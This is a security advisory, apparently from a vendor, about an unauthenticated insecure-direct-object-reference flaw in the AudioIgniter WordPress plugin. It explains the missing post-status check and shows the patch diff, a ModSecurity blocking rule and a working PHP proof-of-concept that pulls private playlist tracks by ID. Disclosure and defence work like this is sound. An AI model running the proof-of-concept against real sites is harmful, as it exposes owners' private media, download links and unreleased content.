Atomic Edge analysis of CVE-2026-8679:
This vulnerability allows unauthenticated attackers to read track metadata (titles, artists, audio URLs, buy links, download URLs, and cover images) from any AudioIgniter playlist, including private, draft, pending, or trash posts. The flaw exists in the handle_playlist_endpoint() function, which is hooked to WordPress’s template_redirect action. The CVSS score is 7.5 (High) under CWE-639 (Insecure Direct Object Reference).
The root cause is the absence of authorization checks in the handle_playlist_endpoint() function at audioigniter/audioigniter.php lines 1266-1273 (before patch). The function accepts a user-controlled playlist ID via the audioigniter_playlist_id query variable or the /audioigniter/playlist/{id}/ rewrite rule. It then retrieves the post object and only validates that the post_type matches the expected playlist post type. No check is performed on the post_status or the user’s capability to read the post. The vulnerable code path does not verify whether the playlist is published or whether the current user has permission to view it.
An attacker can exploit this by sending a GET request to the site using either the rewrite rule endpoint (e.g., /audioigniter/playlist/123/) or a query parameter (e.g., ?audioigniter_playlist_id=123). The endpoint /audioigniter/playlist/{id}/ is automatically registered by WordPress rewrite rules. No authentication is required. The attacker simply replaces {id} with the numeric ID of any playlist on the site, including drafts or private ones. The response contains JSON with track titles, artist names, audio file URLs, purchase links, download links, and cover image URLs.
The patch adds a post_status and capability check at audioigniter/audioigniter.php lines 1273-1283. It verifies that if the user is not logged in, the post status must be ‘publish’. If the user is logged in, it checks whether the user has the ‘read_post’ capability for that playlist ID. If either condition fails, the function returns an error via wp_send_json_error(). The same fix is also applied to the shortcode handler (lines 1217-1223) to prevent the same issue via shortcode embedding. The patch transforms $post->post_status validation from absent to mandatory.
Successful exploitation exposes sensitive metadata from non-public playlists. Attackers can enumerate draft, private, pending review, or trashed playlists to extract audio file URLs (potentially leading to direct media file access), download links, cover images, and purchase links. This information leakage could reveal pre-release content, private media files, or internal business data. The exposure of download URLs could also enable unauthorized file downloads if the media files are not otherwise protected.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/audioigniter/audioigniter.php
+++ b/audioigniter/audioigniter.php
@@ -6,7 +6,7 @@
* Author: The CSSIgniter Team
* Author URI: https://www.cssigniter.com
* License: GPLv2 or later
- * Version: 2.0.2
+ * Version: 2.0.3
* Text Domain: audioigniter
* Domain Path: /languages
*
@@ -1208,7 +1208,7 @@
'class' => '',
), $atts, $tag );
- $id = intval( $atts['id'] );
+ $id = (int) $atts['id'];
$class_name = $atts['class'];
if ( ! $this->is_playlist( $id ) ) {
@@ -1217,6 +1217,13 @@
$post = get_post( $id );
+ if ( $post->post_status == 'trash' ||
+ ( ! is_user_logged_in() && 'publish' !== $post->post_status ) ||
+ ( is_user_logged_in() && ! current_user_can( 'read_post', $id ) ) ) {
+ return '';
+ }
+
+
$params = apply_filters( 'audioigniter_shortcode_data_attributes_array', $this->get_playlist_data_attributes_array( $id ), $id, $post, $atts );
$params = array_filter( $params, array( $this->sanitizer, 'array_filter_empty_null' ) );
$params = $this->sanitizer->html_data_attributes_array( $params );
@@ -1266,12 +1273,17 @@
return;
}
- $playlist_id = intval( $playlist_id );
+ $playlist_id = (int) $playlist_id;
$post = get_post( $playlist_id );
if ( empty( $post ) || $post->post_type !== $this->post_type ) {
wp_send_json_error( __( "ID doesn't match a playlist", 'audioigniter' ) );
}
+ if ( ( ! is_user_logged_in() && 'publish' !== $post->post_status ) ||
+ ( is_user_logged_in() && ! current_user_can( 'read_post', $playlist_id ) )
+ ) {
+ wp_send_json_error( __( 'Sorry, you are not allowed to access this playlist.', 'audioigniter' ) );
+ }
$response = array();
$tracks = $this->get_post_meta( $playlist_id, '_audioigniter_tracks', array() );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8679
# Blocks unauthenticated access to AudioIgniter playlist endpoint
SecRule REQUEST_URI "@rx ^/audioigniter/playlist/d+/?$"
"id:20268679,phase:2,deny,status:403,chain,msg:'CVE-2026-8679 - AudioIgniter IDOR Playlist Data Exposure',severity:'CRITICAL',tag:'CVE-2026-8679'"
SecRule REQUEST_METHOD "@streq GET" "chain"
SecRule REQUEST_HEADERS:Cookie "!@contains wp_"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8679 - AudioIgniter Music Player <= 2.0.2 Unauthenticated IDOR
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
// Function to fetch playlist data without authentication
function exploit_idor($url) {
// Test with a known or guessed playlist ID (e.g., 1)
$playlist_id = 1;
// Build the URL using the rewrite rule endpoint
$endpoint = rtrim($url, '/') . '/audioigniter/playlist/' . $playlist_id . '/';
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check response
if ($http_code == 200 && !empty($response)) {
$data = json_decode($response, true);
if (json_last_error() == JSON_ERROR_NONE && isset($data['tracks'])) {
echo "[+] Vulnerable! Retrieved tracks for playlist ID $playlist_id:n";
print_r($data['tracks']);
return true;
} elseif (json_last_error() == JSON_ERROR_NONE && isset($data['data']['tracks'])) {
echo "[+] Vulnerable! Retrieved tracks for playlist ID $playlist_id (nested):n";
print_r($data['data']['tracks']);
return true;
}
}
// Alternatively, try the query parameter variant
$endpoint_alt = rtrim($url, '/') . '/?audioigniter_playlist_id=' . $playlist_id;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint_alt);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
$data = json_decode($response, true);
if (json_last_error() == JSON_ERROR_NONE && isset($data['tracks'])) {
echo "[+] Vulnerable! Retrieved tracks via query param for playlist ID $playlist_id:n";
print_r($data['tracks']);
return true;
}
}
echo "[-] No vulnerable response for playlist ID $playlist_id. Try other IDs.n";
return false;
}
// Run the exploit
exploit_idor($target_url);